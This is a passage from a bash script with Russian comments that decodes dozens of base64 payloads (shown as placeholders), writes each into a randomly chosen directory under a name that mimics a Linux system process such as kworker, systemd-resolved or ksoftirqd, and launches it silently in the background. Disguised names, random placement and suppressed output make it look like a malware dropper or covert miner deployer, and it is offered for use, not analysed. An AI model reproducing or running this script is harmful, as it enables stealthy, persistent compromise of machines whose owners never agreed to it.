    if echo "$FILE_DATA_62" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-821 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-821 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-821"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-821"
        failed=$((failed + 1))
    fi
    

    # Файл 64: 185.93.89.16232 -> systemd-resolved-671
    echo "🔧 [64/182] Deploying systemd-resolved-671"
    
    # Собираем данные из частей
    FILE_DATA_63="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-671"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_63" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-671 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-671 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-671"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-671"
        failed=$((failed + 1))
    fi
    

    # Файл 65: 185.93.89.16864 -> systemd-resolved-412
    echo "🔧 [65/182] Deploying systemd-resolved-412"
    
    # Собираем данные из частей
    FILE_DATA_64="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-412"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_64" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-412 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-412 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-412"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-412"
        failed=$((failed + 1))
    fi
    

    # Файл 66: 185.93.89.16832 -> kworker-563
    echo "🔧 [66/182] Deploying kworker-563"
    
    # Собираем данные из частей
    FILE_DATA_65="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-563"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_65" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-563 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-563 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-563"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-563"
        failed=$((failed + 1))
    fi
    

    # Файл 67: 185.93.89.14764 -> kworker-198
    echo "🔧 [67/182] Deploying kworker-198"
    
    # Собираем данные из частей
    FILE_DATA_66="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-198"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_66" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-198 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-198 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-198"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-198"
        failed=$((failed + 1))
    fi
    

    # Файл 68: 185.93.89.14732 -> watchdog-227
    echo "🔧 [68/182] Deploying watchdog-227"
    
    # Собираем данные из частей
    FILE_DATA_67="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-227"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_67" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-227 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-227 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-227"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-227"
        failed=$((failed + 1))
    fi
    

    # Файл 69: 185.93.89.14664 -> ksoftirqd-257
    echo "🔧 [69/182] Deploying ksoftirqd-257"
    
    # Собираем данные из частей
    FILE_DATA_68="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-257"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_68" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-257 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-257 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-257"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-257"
        failed=$((failed + 1))
    fi
    

    # Файл 70: 185.93.89.14632 -> ksoftirqd-706
    echo "🔧 [70/182] Deploying ksoftirqd-706"
    
    # Собираем данные из частей
    FILE_DATA_69="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-706"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_69" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-706 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-706 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-706"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-706"
        failed=$((failed + 1))
    fi
    

    # Файл 71: 185.93.89.15764 -> systemd-networkd-275
    echo "🔧 [71/182] Deploying systemd-networkd-275"
    
    # Собираем данные из частей
    FILE_DATA_70="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-275"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_70" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-275 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-275 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-275"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-275"
        failed=$((failed + 1))
    fi
    

    # Файл 72: 185.93.89.15732 -> kworker-536
    echo "🔧 [72/182] Deploying kworker-536"
    
    # Собираем данные из частей
    FILE_DATA_71="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-536"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_71" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-536 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-536 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-536"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-536"
        failed=$((failed + 1))
    fi
    

    # Файл 73: 185.93.89.15364 -> NetworkManager-874
    echo "🔧 [73/182] Deploying NetworkManager-874"
    
    # Собираем данные из частей
    FILE_DATA_72="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-874"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_72" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-874 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-874 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-874"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-874"
        failed=$((failed + 1))
    fi
    

    # Файл 74: 185.93.89.15332 -> kworker-965
    echo "🔧 [74/182] Deploying kworker-965"
    
    # Собираем данные из частей
    FILE_DATA_73="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-965"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_73" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-965 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-965 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-965"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-965"
        failed=$((failed + 1))
    fi
    

    # Файл 75: 185.93.89.18864 -> ksoftirqd-383
    echo "🔧 [75/182] Deploying ksoftirqd-383"
    
    # Собираем данные из частей
    FILE_DATA_74="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-383"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_74" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-383 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-383 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-383"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-383"
        failed=$((failed + 1))
    fi
    

    # Файл 76: 185.93.89.18832 -> watchdog-648
    echo "🔧 [76/182] Deploying watchdog-648"
    
    # Собираем данные из частей
    FILE_DATA_75="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-648"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_75" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-648 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-648 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-648"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-648"
        failed=$((failed + 1))
    fi
    

    # Файл 77: 185.93.89.18964 -> rsyslog-730
    echo "🔧 [77/182] Deploying rsyslog-730"
    
    # Собираем данные из частей
    FILE_DATA_76="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-730"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_76" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-730 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-730 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-730"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-730"
        failed=$((failed + 1))
    fi
    

    # Файл 78: 185.93.89.18932 -> chronyd-636
    echo "🔧 [78/182] Deploying chronyd-636"
    
    # Собираем данные из частей
    FILE_DATA_77="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-636"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_77" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-636 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-636 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-636"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-636"
        failed=$((failed + 1))
    fi
    

    # Файл 79: 185.93.89.15564 -> systemd-logind-494
    echo "🔧 [79/182] Deploying systemd-logind-494"
    
    # Собираем данные из частей
    FILE_DATA_78="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-494"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_78" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-494 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-494 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-494"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-494"
        failed=$((failed + 1))
    fi
    

    # Файл 80: 185.93.89.15532 -> chronyd-848
    echo "🔧 [80/182] Deploying chronyd-848"
    
    # Собираем данные из частей
    FILE_DATA_79="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-848"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_79" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-848 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-848 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-848"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-848"
        failed=$((failed + 1))
    fi
    

    # Файл 81: 185.93.89.17164 -> watchdog-622
    echo "🔧 [81/182] Deploying watchdog-622"
    
    # Собираем данные из частей
    FILE_DATA_80="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-622"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_80" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-622 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-622 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-622"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-622"
        failed=$((failed + 1))
    fi
    

    # Файл 82: 185.93.89.17132 -> migration-749
    echo "🔧 [82/182] Deploying migration-749"
    
    # Собираем данные из частей
    FILE_DATA_81="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-749"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_81" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-749 >/dev/null 2>&1 & then
            echo "✅ Started: migration-749 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-749"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-749"
        failed=$((failed + 1))
    fi
    

    # Файл 83: 185.93.89.19064 -> NetworkManager-685
    echo "🔧 [83/182] Deploying NetworkManager-685"
    
    # Собираем данные из частей
    FILE_DATA_82="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-685"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_82" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-685 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-685 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-685"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-685"
        failed=$((failed + 1))
    fi
    

    # Файл 84: 185.93.89.19032 -> rsyslog-696
    echo "🔧 [84/182] Deploying rsyslog-696"
    
    # Собираем данные из частей
    FILE_DATA_83="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-696"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_83" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-696 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-696 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-696"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-696"
        failed=$((failed + 1))
    fi
    

    # Файл 85: 185.93.89.17064 -> dbus-daemon-346
    echo "🔧 [85/182] Deploying dbus-daemon-346"
    
    # Собираем данные из частей
    FILE_DATA_84="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-346"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_84" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-346 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-346 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-346"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-346"
        failed=$((failed + 1))
    fi
    

    # Файл 86: 185.93.89.17032 -> watchdog-489
    echo "🔧 [86/182] Deploying watchdog-489"
    
    # Собираем данные из частей
    FILE_DATA_85="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-489"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_85" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-489 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-489 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-489"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-489"
        failed=$((failed + 1))
    fi
    

    # Файл 87: 185.93.89.15164 -> ksoftirqd-362
    echo "🔧 [87/182] Deploying ksoftirqd-362"
    
    # Собираем данные из частей
    FILE_DATA_86="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-362"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_86" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-362 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-362 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-362"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-362"
        failed=$((failed + 1))
    fi
    

    # Файл 88: 185.93.89.15132 -> chronyd-667
    echo "🔧 [88/182] Deploying chronyd-667"
    
    # Собираем данные из частей
    FILE_DATA_87="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-667"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_87" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-667 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-667 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-667"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-667"
        failed=$((failed + 1))
    fi
    

    # Файл 89: 185.93.89.15664 -> chronyd-607
    echo "🔧 [89/182] Deploying chronyd-607"
    
    # Собираем данные из частей
    FILE_DATA_88="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-607"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_88" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-607 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-607 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-607"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-607"
        failed=$((failed + 1))
    fi
    

    # Файл 90: 185.93.89.15632 -> dbus-daemon-448
    echo "🔧 [90/182] Deploying dbus-daemon-448"
    
    # Собираем данные из частей
    FILE_DATA_89="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-448"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_89" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-448 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-448 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-448"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-448"
        failed=$((failed + 1))
    fi
    

    # Файл 91: 185.93.89.15064 -> NetworkManager-568
    echo "🔧 [91/182] Deploying NetworkManager-568"
    
    # Собираем данные из частей
    FILE_DATA_90="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-568"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_90" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-568 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-568 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-568"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-568"
        failed=$((failed + 1))
    fi
    

    # Файл 92: 185.93.89.15032 -> dbus-daemon-954
    echo "🔧 [92/182] Deploying dbus-daemon-954"
    
    # Собираем данные из частей
    FILE_DATA_91="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-954"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_91" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-954 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-954 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-954"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-954"
        failed=$((failed + 1))
    fi
    

    # Файл 93: 185.93.89.16964 -> migration-879
    echo "🔧 [93/182] Deploying migration-879"
    
    # Собираем данные из частей
    FILE_DATA_92="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-879"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_92" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-879 >/dev/null 2>&1 & then
            echo "✅ Started: migration-879 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-879"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-879"
        failed=$((failed + 1))
    fi
    

    # Файл 94: 185.93.89.16932 -> chronyd-786
    echo "🔧 [94/182] Deploying chronyd-786"
    
    # Собираем данные из частей
    FILE_DATA_93="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-786"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_93" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-786 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-786 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-786"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
